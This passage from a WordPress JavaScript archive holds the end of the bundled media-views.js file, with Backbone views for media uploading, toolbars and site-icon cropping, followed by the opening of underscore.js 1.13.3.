* @augments wp.media.View * @augments wp.Backbone.View * @augments Backbone.View */ var Playlist = wp.media.view.Settings.extend(/** @lends wp.media.view.Settings.Playlist.prototype */{ className: 'collection-settings playlist-settings', template: wp.template('playlist-settings') }); module.exports = Playlist; /***/ }), /***/ 9799: /***/ (function(module) { /** * wp.media.view.Sidebar * * @memberOf wp.media.view * * @class * @augments wp.media.view.PriorityList * @augments wp.media.View * @augments wp.Backbone.View * @augments Backbone.View */ var Sidebar = wp.media.view.PriorityList.extend(/** @lends wp.media.view.Sidebar.prototype */{ className: 'media-sidebar' }); module.exports = Sidebar; /***/ }), /***/ 5187: /***/ (function(module) { var View = wp.media.view, SiteIconCropper; /** * wp.media.view.SiteIconCropper * * Uses the imgAreaSelect plugin to allow a user to crop a Site Icon. * * Takes imgAreaSelect options from * wp.customize.SiteIconControl.calculateImageSelectOptions. * * @memberOf wp.media.view * * @class * @augments wp.media.view.Cropper * @augments wp.media.View * @augments wp.Backbone.View * @augments Backbone.View */ SiteIconCropper = View.Cropper.extend(/** @lends wp.media.view.SiteIconCropper.prototype */{ className: 'crop-content site-icon', ready: function () { View.Cropper.prototype.ready.apply( this, arguments ); this.$( '.crop-image' ).on( 'load', _.bind( this.addSidebar, this ) ); }, addSidebar: function() { this.sidebar = new wp.media.view.Sidebar({ controller: this.controller }); this.sidebar.set( 'preview', new wp.media.view.SiteIconPreview({ controller: this.controller, attachment: this.options.attachment }) ); this.controller.cropperView.views.add( this.sidebar ); } }); module.exports = SiteIconCropper; /***/ }), /***/ 8260: /***/ (function(module) { var View = wp.media.View, $ = jQuery, SiteIconPreview; /** * wp.media.view.SiteIconPreview * * Shows a preview of the Site Icon as a favicon and app icon while cropping. * * @memberOf wp.media.view * * @class * @augments wp.media.View * @augments wp.Backbone.View * @augments Backbone.View */ SiteIconPreview = View.extend(/** @lends wp.media.view.SiteIconPreview.prototype */{ className: 'site-icon-preview', template: wp.template( 'site-icon-preview' ), ready: function() { this.controller.imgSelect.setOptions({ onInit: this.updatePreview, onSelectChange: this.updatePreview }); }, prepare: function() { return { url: this.options.attachment.get( 'url' ) }; }, updatePreview: function( img, coords ) { var rx = 64 / coords.width, ry = 64 / coords.height, preview_rx = 16 / coords.width, preview_ry = 16 / coords.height; $( '#preview-app-icon' ).css({ width: Math.round(rx * this.imageWidth ) + 'px', height: Math.round(ry * this.imageHeight ) + 'px', marginLeft: '-' + Math.round(rx * coords.x1) + 'px', marginTop: '-' + Math.round(ry * coords.y1) + 'px' }); $( '#preview-favicon' ).css({ width: Math.round( preview_rx * this.imageWidth ) + 'px', height: Math.round( preview_ry * this.imageHeight ) + 'px', marginLeft: '-' + Math.round( preview_rx * coords.x1 ) + 'px', marginTop: '-' + Math.floor( preview_ry* coords.y1 ) + 'px' }); } }); module.exports = SiteIconPreview; /***/ }), /***/ 2234: /***/ (function(module) { /** * wp.media.view.Spinner * * Represents a spinner in the Media Library. * * @since 3.9.0 * * @memberOf wp.media.view * * @class * @augments wp.media.View * @augments wp.Backbone.View * @augments Backbone.View */ var Spinner = wp.media.View.extend(/** @lends wp.media.view.Spinner.prototype */{ tagName: 'span', className: 'spinner', spinnerTimeout: false, delay: 400, /** * Shows the spinner. Delays the visibility by the configured amount. * * @since 3.9.0 * * @return {wp.media.view.Spinner} The spinner. */ show: function() { if ( ! this.spinnerTimeout ) { this.spinnerTimeout = _.delay(function( $el ) { $el.addClass( 'is-active' ); }, this.delay, this.$el ); } return this; }, /** * Hides the spinner. * * @since 3.9.0 * * @return {wp.media.view.Spinner} The spinner. */ hide: function() { this.$el.removeClass( 'is-active' ); this.spinnerTimeout = clearTimeout( this.spinnerTimeout ); return this; } }); module.exports = Spinner; /***/ }), /***/ 9510: /***/ (function(module) { var View = wp.media.View, Toolbar; /** * wp.media.view.Toolbar * * A toolbar which consists of a primary and a secondary section. Each sections * can be filled with views. * * @memberOf wp.media.view * * @class * @augments wp.media.View * @augments wp.Backbone.View * @augments Backbone.View */ Toolbar = View.extend(/** @lends wp.media.view.Toolbar.prototype */{ tagName: 'div', className: 'media-toolbar', initialize: function() { var state = this.controller.state(), selection = this.selection = state.get('selection'), library = this.library = state.get('library'); this._views = {}; // The toolbar is composed of two `PriorityList` views. this.primary = new wp.media.view.PriorityList(); this.secondary = new wp.media.view.PriorityList(); this.primary.$el.addClass('media-toolbar-primary search-form'); this.secondary.$el.addClass('media-toolbar-secondary'); this.views.set([ this.secondary, this.primary ]); if ( this.options.items ) { this.set( this.options.items, { silent: true }); } if ( ! this.options.silent ) { this.render(); } if ( selection ) { selection.on( 'add remove reset', this.refresh, this ); } if ( library ) { library.on( 'add remove reset', this.refresh, this ); } }, /** * @return {wp.media.view.Toolbar} Returns itsef to allow chaining */ dispose: function() { if ( this.selection ) { this.selection.off( null, null, this ); } if ( this.library ) { this.library.off( null, null, this ); } /** * call 'dispose' directly on the parent class */ return View.prototype.dispose.apply( this, arguments ); }, ready: function() { this.refresh(); }, /** * @param {string} id * @param {Backbone.View|Object} view * @param {Object} [options={}] * @return {wp.media.view.Toolbar} Returns itself to allow chaining. */ set: function( id, view, options ) { var list; options = options || {}; // Accept an object with an `id` : `view` mapping. if ( _.isObject( id ) ) { _.each( id, function( view, id ) { this.set( id, view, { silent: true }); }, this ); } else { if ( ! ( view instanceof Backbone.View ) ) { view.classes = [ 'media-button-' + id ].concat( view.classes || [] ); view = new wp.media.view.Button( view ).render(); } view.controller = view.controller || this.controller; this._views[ id ] = view; list = view.options.priority < 0 ? 'secondary' : 'primary'; this[ list ].set( id, view, options ); } if ( ! options.silent ) { this.refresh(); } return this; }, /** * @param {string} id * @return {wp.media.view.Button} */ get: function( id ) { return this._views[ id ]; }, /** * @param {string} id * @param {Object} options * @return {wp.media.view.Toolbar} Returns itself to allow chaining. */ unset: function( id, options ) { delete this._views[ id ]; this.primary.unset( id, options ); this.secondary.unset( id, options ); if ( ! options || ! options.silent ) { this.refresh(); } return this; }, refresh: function() { var state = this.controller.state(), library = state.get('library'), selection = state.get('selection'); _.each( this._views, function( button ) { if ( ! button.model || ! button.options || ! button.options.requires ) { return; } var requires = button.options.requires, disabled = false; // Prevent insertion of attachments if any of them are still uploading. if ( selection && selection.models ) { disabled = _.some( selection.models, function( attachment ) { return attachment.get('uploading') === true; }); } if ( requires.selection && selection && ! selection.length ) { disabled = true; } else if ( requires.library && library && ! library.length ) { disabled = true; } button.model.set( 'disabled', disabled ); }); } }); module.exports = Toolbar; /***/ }), /***/ 7128: /***/ (function(module) { var Select = wp.media.view.Toolbar.Select, l10n = wp.media.view.l10n, Embed; /** * wp.media.view.Toolbar.Embed * * @memberOf wp.media.view.Toolbar * * @class * @augments wp.media.view.Toolbar.Select * @augments wp.media.view.Toolbar * @augments wp.media.View * @augments wp.Backbone.View * @augments Backbone.View */ Embed = Select.extend(/** @lends wp.media.view.Toolbar.Embed.prototype */{ initialize: function() { _.defaults( this.options, { text: l10n.insertIntoPost, requires: false }); // Call 'initialize' directly on the parent class. Select.prototype.initialize.apply( this, arguments ); }, refresh: function() { var url = this.controller.state().props.get('url'); this.get('select').model.set( 'disabled', ! url || url === 'http://' ); /** * call 'refresh' directly on the parent class */ Select.prototype.refresh.apply( this, arguments ); } }); module.exports = Embed; /***/ }), /***/ 6850: /***/ (function(module) { var Toolbar = wp.media.view.Toolbar, l10n = wp.media.view.l10n, Select; /** * wp.media.view.Toolbar.Select * * @memberOf wp.media.view.Toolbar * * @class * @augments wp.media.view.Toolbar * @augments wp.media.View * @augments wp.Backbone.View * @augments Backbone.View */ Select = Toolbar.extend(/** @lends wp.media.view.Toolbar.Select.prototype */{ initialize: function() { var options = this.options; _.bindAll( this, 'clickSelect' ); _.defaults( options, { event: 'select', state: false, reset: true, close: true, text: l10n.select, // Does the button rely on the selection? requires: { selection: true } }); options.items = _.defaults( options.items || {}, { select: { style: 'primary', text: options.text, priority: 80, click: this.clickSelect, requires: options.requires } }); // Call 'initialize' directly on the parent class. Toolbar.prototype.initialize.apply( this, arguments ); }, clickSelect: function() { var options = this.options, controller = this.controller; if ( options.close ) { controller.close(); } if ( options.event ) { controller.state().trigger( options.event ); } if ( options.state ) { controller.setState( options.state ); } if ( options.reset ) { controller.reset(); } } }); module.exports = Select; /***/ }), /***/ 841: /***/ (function(module) { var View = wp.media.View, l10n = wp.media.view.l10n, $ = jQuery, EditorUploader; /** * Creates a dropzone on WP editor instances (elements with .wp-editor-wrap) * and relays drag'n'dropped files to a media workflow. * * wp.media.view.EditorUploader * * @memberOf wp.media.view * * @class * @augments wp.media.View * @augments wp.Backbone.View * @augments Backbone.View */ EditorUploader = View.extend(/** @lends wp.media.view.EditorUploader.prototype */{ tagName: 'div', className: 'uploader-editor', template: wp.template( 'uploader-editor' ), localDrag: false, overContainer: false, overDropzone: false, draggingFile: null, /** * Bind drag'n'drop events to callbacks. */ initialize: function() { this.initialized = false; // Bail if not enabled or UA does not support drag'n'drop or File API. if ( ! window.tinyMCEPreInit || ! window.tinyMCEPreInit.dragDropUpload || ! this.browserSupport() ) { return this; } this.$document = $(document); this.dropzones = []; this.files = []; this.$document.on( 'drop', '.uploader-editor', _.bind( this.drop, this ) ); this.$document.on( 'dragover', '.uploader-editor', _.bind( this.dropzoneDragover, this ) ); this.$document.on( 'dragleave', '.uploader-editor', _.bind( this.dropzoneDragleave, this ) ); this.$document.on( 'click', '.uploader-editor', _.bind( this.click, this ) ); this.$document.on( 'dragover', _.bind( this.containerDragover, this ) ); this.$document.on( 'dragleave', _.bind( this.containerDragleave, this ) ); this.$document.on( 'dragstart dragend drop', _.bind( function( event ) { this.localDrag = event.type === 'dragstart'; if ( event.type === 'drop' ) { this.containerDragleave(); } }, this ) ); this.initialized = true; return this; }, /** * Check browser support for drag'n'drop. * * @return {boolean} */ browserSupport: function() { var supports = false, div = document.createElement('div'); supports = ( 'draggable' in div ) || ( 'ondragstart' in div && 'ondrop' in div ); supports = supports && !! ( window.File && window.FileList && window.FileReader ); return supports; }, isDraggingFile: function( event ) { if ( this.draggingFile !== null ) { return this.draggingFile; } if ( _.isUndefined( event.originalEvent ) || _.isUndefined( event.originalEvent.dataTransfer ) ) { return false; } this.draggingFile = _.indexOf( event.originalEvent.dataTransfer.types, 'Files' ) > -1 && _.indexOf( event.originalEvent.dataTransfer.types, 'text/plain' ) === -1; return this.draggingFile; }, refresh: function( e ) { var dropzone_id; for ( dropzone_id in this.dropzones ) { // Hide the dropzones only if dragging has left the screen. this.dropzones[ dropzone_id ].toggle( this.overContainer || this.overDropzone ); } if ( ! _.isUndefined( e ) ) { $( e.target ).closest( '.uploader-editor' ).toggleClass( 'droppable', this.overDropzone ); } if ( ! this.overContainer && ! this.overDropzone ) { this.draggingFile = null; } return this; }, render: function() { if ( ! this.initialized ) { return this; } View.prototype.render.apply( this, arguments ); $( '.wp-editor-wrap' ).each( _.bind( this.attach, this ) ); return this; }, attach: function( index, editor ) { // Attach a dropzone to an editor. var dropzone = this.$el.clone(); this.dropzones.push( dropzone ); $( editor ).append( dropzone ); return this; }, /** * When a file is dropped on the editor uploader, open up an editor media workflow * and upload the file immediately. * * @param {jQuery.Event} event The 'drop' event. */ drop: function( event ) { var $wrap, uploadView; this.containerDragleave( event ); this.dropzoneDragleave( event ); this.files = event.originalEvent.dataTransfer.files; if ( this.files.length < 1 ) { return; } // Set the active editor to the drop target. $wrap = $( event.target ).parents( '.wp-editor-wrap' ); if ( $wrap.length > 0 && $wrap[0].id ) { window.wpActiveEditor = $wrap[0].id.slice( 3, -5 ); } if ( ! this.workflow ) { this.workflow = wp.media.editor.open( window.wpActiveEditor, { frame: 'post', state: 'insert', title: l10n.addMedia, multiple: true }); uploadView = this.workflow.uploader; if ( uploadView.uploader && uploadView.uploader.ready ) { this.addFiles.apply( this ); } else { this.workflow.on( 'uploader:ready', this.addFiles, this ); } } else { this.workflow.state().reset(); this.addFiles.apply( this ); this.workflow.open(); } return false; }, /** * Add the files to the uploader. */ addFiles: function() { if ( this.files.length ) { this.workflow.uploader.uploader.uploader.addFile( _.toArray( this.files ) ); this.files = []; } return this; }, containerDragover: function( event ) { if ( this.localDrag || ! this.isDraggingFile( event ) ) { return; } this.overContainer = true; this.refresh(); }, containerDragleave: function() { this.overContainer = false; // Throttle dragleave because it's called when bouncing from some elements to others. _.delay( _.bind( this.refresh, this ), 50 ); }, dropzoneDragover: function( event ) { if ( this.localDrag || ! this.isDraggingFile( event ) ) { return; } this.overDropzone = true; this.refresh( event ); return false; }, dropzoneDragleave: function( e ) { this.overDropzone = false; _.delay( _.bind( this.refresh, this, e ), 50 ); }, click: function( e ) { // In the rare case where the dropzone gets stuck, hide it on click. this.containerDragleave( e ); this.dropzoneDragleave( e ); this.localDrag = false; } }); module.exports = EditorUploader; /***/ }), /***/ 6353: /***/ (function(module) { var View = wp.media.View, UploaderInline; /** * wp.media.view.UploaderInline * * The inline uploader that shows up in the 'Upload Files' tab. * * @memberOf wp.media.view * * @class * @augments wp.media.View * @augments wp.Backbone.View * @augments Backbone.View */ UploaderInline = View.extend(/** @lends wp.media.view.UploaderInline.prototype */{ tagName: 'div', className: 'uploader-inline', template: wp.template('uploader-inline'), events: { 'click .close': 'hide' }, initialize: function() { _.defaults( this.options, { message: '', status: true, canClose: false }); if ( ! this.options.$browser && this.controller.uploader ) { this.options.$browser = this.controller.uploader.$browser; } if ( _.isUndefined( this.options.postId ) ) { this.options.postId = wp.media.view.settings.post.id; } if ( this.options.status ) { this.views.set( '.upload-inline-status', new wp.media.view.UploaderStatus({ controller: this.controller }) ); } }, prepare: function() { var suggestedWidth = this.controller.state().get('suggestedWidth'), suggestedHeight = this.controller.state().get('suggestedHeight'), data = {}; data.message = this.options.message; data.canClose = this.options.canClose; if ( suggestedWidth && suggestedHeight ) { data.suggestedWidth = suggestedWidth; data.suggestedHeight = suggestedHeight; } return data; }, /** * @return {wp.media.view.UploaderInline} Returns itself to allow chaining. */ dispose: function() { if ( this.disposing ) { /** * call 'dispose' directly on the parent class */ return View.prototype.dispose.apply( this, arguments ); } /* * Run remove on `dispose`, so we can be sure to refresh the * uploader with a view-less DOM. Track whether we're disposing * so we don't trigger an infinite loop. */ this.disposing = true; return this.remove(); }, /** * @return {wp.media.view.UploaderInline} Returns itself to allow chaining. */ remove: function() { /** * call 'remove' directly on the parent class */ var result = View.prototype.remove.apply( this, arguments ); _.defer( _.bind( this.refresh, this ) ); return result; }, refresh: function() { var uploader = this.controller.uploader; if ( uploader ) { uploader.refresh(); } }, /** * @return {wp.media.view.UploaderInline} */ ready: function() { var $browser = this.options.$browser, $placeholder; if ( this.controller.uploader ) { $placeholder = this.$('.browser'); // Check if we've already replaced the placeholder. if ( $placeholder[0] === $browser[0] ) { return; } $browser.detach().text( $placeholder.text() ); $browser[0].className = $placeholder[0].className; $browser[0].setAttribute( 'aria-labelledby', $browser[0].id + ' ' + $placeholder[0].getAttribute('aria-labelledby') ); $placeholder.replaceWith( $browser.show() ); } this.refresh(); return this; }, show: function() { this.$el.removeClass( 'hidden' ); if ( this.controller.$uploaderToggler && this.controller.$uploaderToggler.length ) { this.controller.$uploaderToggler.attr( 'aria-expanded', 'true' ); } }, hide: function() { this.$el.addClass( 'hidden' ); if ( this.controller.$uploaderToggler && this.controller.$uploaderToggler.length ) { this.controller.$uploaderToggler .attr( 'aria-expanded', 'false' ) // Move focus back to the toggle button when closing the uploader. .trigger( 'focus' ); } } }); module.exports = UploaderInline; /***/ }), /***/ 9411: /***/ (function(module) { /** * wp.media.view.UploaderStatusError * * @memberOf wp.media.view * * @class * @augments wp.media.View * @augments wp.Backbone.View * @augments Backbone.View */ var UploaderStatusError = wp.media.View.extend(/** @lends wp.media.view.UploaderStatusError.prototype */{ className: 'upload-error', template: wp.template('uploader-status-error') }); module.exports = UploaderStatusError; /***/ }), /***/ 2894: /***/ (function(module) { var View = wp.media.View, UploaderStatus; /** * wp.media.view.UploaderStatus * * An uploader status for on-going uploads. * * @memberOf wp.media.view * * @class * @augments wp.media.View * @augments wp.Backbone.View * @augments Backbone.View */ UploaderStatus = View.extend(/** @lends wp.media.view.UploaderStatus.prototype */{ className: 'media-uploader-status', template: wp.template('uploader-status'), events: { 'click .upload-dismiss-errors': 'dismiss' }, initialize: function() { this.queue = wp.Uploader.queue; this.queue.on( 'add remove reset', this.visibility, this ); this.queue.on( 'add remove reset change:percent', this.progress, this ); this.queue.on( 'add remove reset change:uploading', this.info, this ); this.errors = wp.Uploader.errors; this.errors.reset(); this.errors.on( 'add remove reset', this.visibility, this ); this.errors.on( 'add', this.error, this ); }, /** * @return {wp.media.view.UploaderStatus} */ dispose: function() { wp.Uploader.queue.off( null, null, this ); /** * call 'dispose' directly on the parent class */ View.prototype.dispose.apply( this, arguments ); return this; }, visibility: function() { this.$el.toggleClass( 'uploading', !! this.queue.length ); this.$el.toggleClass( 'errors', !! this.errors.length ); this.$el.toggle( !! this.queue.length || !! this.errors.length ); }, ready: function() { _.each({ '$bar': '.media-progress-bar div', '$index': '.upload-index', '$total': '.upload-total', '$filename': '.upload-filename' }, function( selector, key ) { this[ key ] = this.$( selector ); }, this ); this.visibility(); this.progress(); this.info(); }, progress: function() { var queue = this.queue, $bar = this.$bar; if ( ! $bar || ! queue.length ) { return; } $bar.width( ( queue.reduce( function( memo, attachment ) { if ( ! attachment.get('uploading') ) { return memo + 100; } var percent = attachment.get('percent'); return memo + ( _.isNumber( percent ) ? percent : 100 ); }, 0 ) / queue.length ) + '%' ); }, info: function() { var queue = this.queue, index = 0, active; if ( ! queue.length ) { return; } active = this.queue.find( function( attachment, i ) { index = i; return attachment.get('uploading'); }); if ( this.$index && this.$total && this.$filename ) { this.$index.text( index + 1 ); this.$total.text( queue.length ); this.$filename.html( active ? this.filename( active.get('filename') ) : '' ); } }, /** * @param {string} filename * @return {string} */ filename: function( filename ) { return _.escape( filename ); }, /** * @param {Backbone.Model} error */ error: function( error ) { var statusError = new wp.media.view.UploaderStatusError( { filename: this.filename( error.get( 'file' ).name ), message: error.get( 'message' ) } ); var buttonClose = this.$el.find( 'button' ); // Can show additional info here while retrying to create image sub-sizes. this.views.add( '.upload-errors', statusError, { at: 0 } ); _.delay( function() { buttonClose.trigger( 'focus' ); wp.a11y.speak( error.get( 'message' ), 'assertive' ); }, 1000 ); }, dismiss: function() { var errors = this.views.get('.upload-errors'); if ( errors ) { _.invoke( errors, 'remove' ); } wp.Uploader.errors.reset(); // Move focus to the modal after the dismiss button gets removed from the DOM. if ( this.controller.modal ) { this.controller.modal.focusManager.focus(); } } }); module.exports = UploaderStatus; /***/ }), /***/ 5823: /***/ (function(module) { var $ = jQuery, UploaderWindow; /** * wp.media.view.UploaderWindow * * An uploader window that allows for dragging and dropping media. * * @memberOf wp.media.view * * @class * @augments wp.media.View * @augments wp.Backbone.View * @augments Backbone.View * * @param {object} [options] Options hash passed to the view. * @param {object} [options.uploader] Uploader properties. * @param {jQuery} [options.uploader.browser] * @param {jQuery} [options.uploader.dropzone] jQuery collection of the dropzone. * @param {object} [options.uploader.params] */ UploaderWindow = wp.media.View.extend(/** @lends wp.media.view.UploaderWindow.prototype */{ tagName: 'div', className: 'uploader-window', template: wp.template('uploader-window'), initialize: function() { var uploader; this.$browser = $( '<button type="button" class="browser" />' ).hide().appendTo( 'body' ); uploader = this.options.uploader = _.defaults( this.options.uploader || {}, { dropzone: this.$el, browser: this.$browser, params: {} }); // Ensure the dropzone is a jQuery collection. if ( uploader.dropzone && ! (uploader.dropzone instanceof $) ) { uploader.dropzone = $( uploader.dropzone ); } this.controller.on( 'activate', this.refresh, this ); this.controller.on( 'detach', function() { this.$browser.remove(); }, this ); }, refresh: function() { if ( this.uploader ) { this.uploader.refresh(); } }, ready: function() { var postId = wp.media.view.settings.post.id, dropzone; // If the uploader already exists, bail. if ( this.uploader ) { return; } if ( postId ) { this.options.uploader.params.post_id = postId; } this.uploader = new wp.Uploader( this.options.uploader ); dropzone = this.uploader.dropzone; dropzone.on( 'dropzone:enter', _.bind( this.show, this ) ); dropzone.on( 'dropzone:leave', _.bind( this.hide, this ) ); $( this.uploader ).on( 'uploader:ready', _.bind( this._ready, this ) ); }, _ready: function() { this.controller.trigger( 'uploader:ready' ); }, show: function() { var $el = this.$el.show(); // Ensure that the animation is triggered by waiting until // the transparent element is painted into the DOM. _.defer( function() { $el.css({ opacity: 1 }); }); }, hide: function() { var $el = this.$el.css({ opacity: 0 }); wp.media.transition( $el ).done( function() { // Transition end events are subject to race conditions. // Make sure that the value is set as intended. if ( '0' === $el.css('opacity') ) { $el.hide(); } }); // https://core.trac.wordpress.org/ticket/27341 _.delay( function() { if ( '0' === $el.css('opacity') && $el.is(':visible') ) { $el.hide(); } }, 500 ); } }); module.exports = UploaderWindow; /***/ }), /***/ 487: /***/ (function(module) { /** * wp.media.View * * The base view class for media. * * Undelegating events, removing events from the model, and * removing events from the controller mirror the code for * `Backbone.View.dispose` in Backbone 0.9.8 development. * * This behavior has since been removed, and should not be used * outside of the media manager. * * @memberOf wp.media * * @class * @augments wp.Backbone.View * @augments Backbone.View */ var View = wp.Backbone.View.extend(/** @lends wp.media.View.prototype */{ constructor: function( options ) { if ( options && options.controller ) { this.controller = options.controller; } wp.Backbone.View.apply( this, arguments ); }, /** * @todo The internal comment mentions this might have been a stop-gap * before Backbone 0.9.8 came out. Figure out if Backbone core takes * care of this in Backbone.View now. * * @return {wp.media.View} Returns itself to allow chaining. */ dispose: function() { /* * Undelegating events, removing events from the model, and * removing events from the controller mirror the code for * `Backbone.View.dispose` in Backbone 0.9.8 development. */ this.undelegateEvents(); if ( this.model && this.model.off ) { this.model.off( null, null, this ); } if ( this.collection && this.collection.off ) { this.collection.off( null, null, this ); } // Unbind controller events. if ( this.controller && this.controller.off ) { this.controller.off( null, null, this ); } return this; }, /** * @return {wp.media.View} Returns itself to allow chaining. */ remove: function() { this.dispose(); /** * call 'remove' directly on the parent class */ return wp.Backbone.View.prototype.remove.apply( this, arguments ); } }); module.exports = View; /***/ }) /******/ }); /************************************************************************/ /******/ // The module cache /******/ var __webpack_module_cache__ = {}; /******/ /******/ // The require function /******/ function __webpack_require__(moduleId) { /******/ // Check if module is in cache /******/ var cachedModule = __webpack_module_cache__[moduleId]; /******/ if (cachedModule !== undefined) { /******/ return cachedModule.exports; /******/ } /******/ // Create a new module (and put it into the cache) /******/ var module = __webpack_module_cache__[moduleId] = { /******/ // no module.id needed /******/ // no module.loaded needed /******/ exports: {} /******/ }; /******/ /******/ // Execute the module function /******/ __webpack_modules__[moduleId](module, module.exports, __webpack_require__); /******/ /******/ // Return the exports of the module /******/ return module.exports; /******/ } /******/ /************************************************************************/ var __webpack_exports__ = {}; // This entry need to be wrapped in an IIFE because it need to be isolated against other modules in the chunk. !function() { /** * @output wp-includes/js/media-views.js */ var media = wp.media, $ = jQuery, l10n; media.isTouchDevice = ( 'ontouchend' in document ); // Link any localized strings. l10n = media.view.l10n = window._wpMediaViewsL10n || {}; // Link any settings. media.view.settings = l10n.settings || {}; delete l10n.settings; // Copy the `post` setting over to the model settings. media.model.settings.post = media.view.settings.post; // Check if the browser supports CSS 3.0 transitions. $.support.transition = (function(){ var style = document.documentElement.style, transitions = { WebkitTransition: 'webkitTransitionEnd', MozTransition: 'transitionend', OTransition: 'oTransitionEnd otransitionend', transition: 'transitionend' }, transition; transition = _.find( _.keys( transitions ), function( transition ) { return ! _.isUndefined( style[ transition ] ); }); return transition && { end: transitions[ transition ] }; }()); /** * A shared event bus used to provide events into * the media workflows that 3rd-party devs can use to hook * in. */ media.events = _.extend( {}, Backbone.Events ); /** * Makes it easier to bind events using transitions. * * @param {string} selector * @param {number} sensitivity * @return {Promise} */ media.transition = function( selector, sensitivity ) { var deferred = $.Deferred(); sensitivity = sensitivity || 2000; if ( $.support.transition ) { if ( ! (selector instanceof $) ) { selector = $( selector ); } // Resolve the deferred when the first element finishes animating. selector.first().one( $.support.transition.end, deferred.resolve ); // Just in case the event doesn't trigger, fire a callback. _.delay( deferred.resolve, sensitivity ); // Otherwise, execute on the spot. } else { deferred.resolve(); } return deferred.promise(); }; media.controller.Region = __webpack_require__( 4903 ); media.controller.StateMachine = __webpack_require__( 5466 ); media.controller.State = __webpack_require__( 5826 ); media.selectionSync = __webpack_require__( 3526 ); media.controller.Library = __webpack_require__( 9024 ); media.controller.ImageDetails = __webpack_require__( 3849 ); media.controller.GalleryEdit = __webpack_require__( 6328 ); media.controller.GalleryAdd = __webpack_require__( 7323 ); media.controller.CollectionEdit = __webpack_require__( 1817 ); media.controller.CollectionAdd = __webpack_require__( 1517 ); media.controller.FeaturedImage = __webpack_require__( 5095 ); media.controller.ReplaceImage = __webpack_require__( 8493 ); media.controller.EditImage = __webpack_require__( 7658 ); media.controller.MediaLibrary = __webpack_require__( 3742 ); media.controller.Embed = __webpack_require__( 9067 ); media.controller.Cropper = __webpack_require__( 2288 ); media.controller.CustomizeImageCropper = __webpack_require__( 6934 ); media.controller.SiteIconCropper = __webpack_require__( 5274 ); media.View = __webpack_require__( 487 ); media.view.Frame = __webpack_require__( 3647 ); media.view.MediaFrame = __webpack_require__( 4861 ); media.view.MediaFrame.Select = __webpack_require__( 8719 ); media.view.MediaFrame.Post = __webpack_require__( 9075 ); media.view.MediaFrame.ImageDetails = __webpack_require__( 9142 ); media.view.Modal = __webpack_require__( 3939 ); media.view.FocusManager = __webpack_require__( 6557 ); media.view.UploaderWindow = __webpack_require__( 5823 ); media.view.EditorUploader = __webpack_require__( 841 ); media.view.UploaderInline = __webpack_require__( 6353 ); media.view.UploaderStatus = __webpack_require__( 2894 ); media.view.UploaderStatusError = __webpack_require__( 9411 ); media.view.Toolbar = __webpack_require__( 9510 ); media.view.Toolbar.Select = __webpack_require__( 6850 ); media.view.Toolbar.Embed = __webpack_require__( 7128 ); media.view.Button = __webpack_require__( 3157 ); media.view.ButtonGroup = __webpack_require__( 4094 ); media.view.PriorityList = __webpack_require__( 1993 ); media.view.MenuItem = __webpack_require__( 917 ); media.view.Menu = __webpack_require__( 2596 ); media.view.RouterItem = __webpack_require__( 9484 ); media.view.Router = __webpack_require__( 1562 ); media.view.Sidebar = __webpack_require__( 9799 ); media.view.Attachment = __webpack_require__( 5019 ); media.view.Attachment.Library = __webpack_require__( 9254 ); media.view.Attachment.EditLibrary = __webpack_require__( 4640 ); media.view.Attachments = __webpack_require__( 8408 ); media.view.Search = __webpack_require__( 4556 ); media.view.AttachmentFilters = __webpack_require__( 4906 ); media.view.DateFilter = __webpack_require__( 9663 ); media.view.AttachmentFilters.Uploaded = __webpack_require__( 7040 ); media.view.AttachmentFilters.All = __webpack_require__( 2868 ); media.view.AttachmentsBrowser = __webpack_require__( 9239 ); media.view.Selection = __webpack_require__( 6191 ); media.view.Attachment.Selection = __webpack_require__( 9003 ); media.view.Attachments.Selection = __webpack_require__( 1223 ); media.view.Attachment.EditSelection = __webpack_require__( 1009 ); media.view.Settings = __webpack_require__( 859 ); media.view.Settings.AttachmentDisplay = __webpack_require__( 2176 ); media.view.Settings.Gallery = __webpack_require__( 6872 ); media.view.Settings.Playlist = __webpack_require__( 8488 ); media.view.Attachment.Details = __webpack_require__( 7274 ); media.view.AttachmentCompat = __webpack_require__( 8093 ); media.view.Iframe = __webpack_require__( 6217 ); media.view.Embed = __webpack_require__( 5138 ); media.view.Label = __webpack_require__( 6644 ); media.view.EmbedUrl = __webpack_require__( 4848 ); media.view.EmbedLink = __webpack_require__( 6959 ); media.view.EmbedImage = __webpack_require__( 1338 ); media.view.ImageDetails = __webpack_require__( 7598 ); media.view.Cropper = __webpack_require__( 7137 ); media.view.SiteIconCropper = __webpack_require__( 5187 ); media.view.SiteIconPreview = __webpack_require__( 8260 ); media.view.EditImage = __webpack_require__( 5970 ); media.view.Spinner = __webpack_require__( 2234 ); media.view.Heading = __webpack_require__( 7990 ); }(); /******/ })() ;������������������������������������������������������������������������������������js/underscore.js������������������������������������������������������������������������������������0000644�����������������00000205425�14717703502�0007705 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������(function (global, factory) { typeof exports === 'object' && typeof module !== 'undefined' ? module.exports = factory() : typeof define === 'function' && define.amd ? define('underscore', factory) : (global = typeof globalThis !== 'undefined' ? globalThis : global || self, (function () { var current = global._; var exports = global._ = factory(); exports.noConflict = function () { global._ = current; return exports; }; }())); }(this, (function () { // Underscore.js 1.13.3 // https://underscorejs.org // (c) 2009-2022 Jeremy Ashkenas, Julian Gonggrijp, and DocumentCloud and Investigative Reporters & Editors // Underscore may be freely distributed under the MIT license. // Current version. var VERSION = '1.13.3'; // Establish the root object, `window` (`self`) in the browser, `global` // on the server, or `this` in some virtual machines. We use `self` // instead of `window` for `WebWorker` support. var root = (typeof self == 'object' && self.self === self && self) || (typeof global == 'object' && global.global === global && global) || Function('return this')() || {}; // Save bytes in the minified (but not gzipped) version: var ArrayProto = Array.prototype, ObjProto = Object.prototype; var SymbolProto = typeof Symbol !== 'undefined' ? Symbol.prototype : null; // Create quick reference variables for speed access to core prototypes. var push = ArrayProto.push, slice = ArrayProto.slice, toString = ObjProto.toString, hasOwnProperty = ObjProto.hasOwnProperty; // Modern feature detection. var supportsArrayBuffer = typeof ArrayBuffer !== 'undefined', supportsDataView = typeof DataView !== 'undefined'; // All **ECMAScript 5+** native function implementations that we hope to use // are declared here. var nativeIsArray = Array.isArray, nativeKeys = Object.keys, nativeCreate = Object.create, nativeIsView = supportsArrayBuffer && ArrayBuffer.isView; // Create references to these builtin functions because we override them. var _isNaN = isNaN, _isFinite = isFinite; // Keys in IE < 9 that won't be iterated by `for key in ...` and thus missed. var hasEnumBug = !{toString: null}.propertyIsEnumerable('toString'); var nonEnumerableProps = 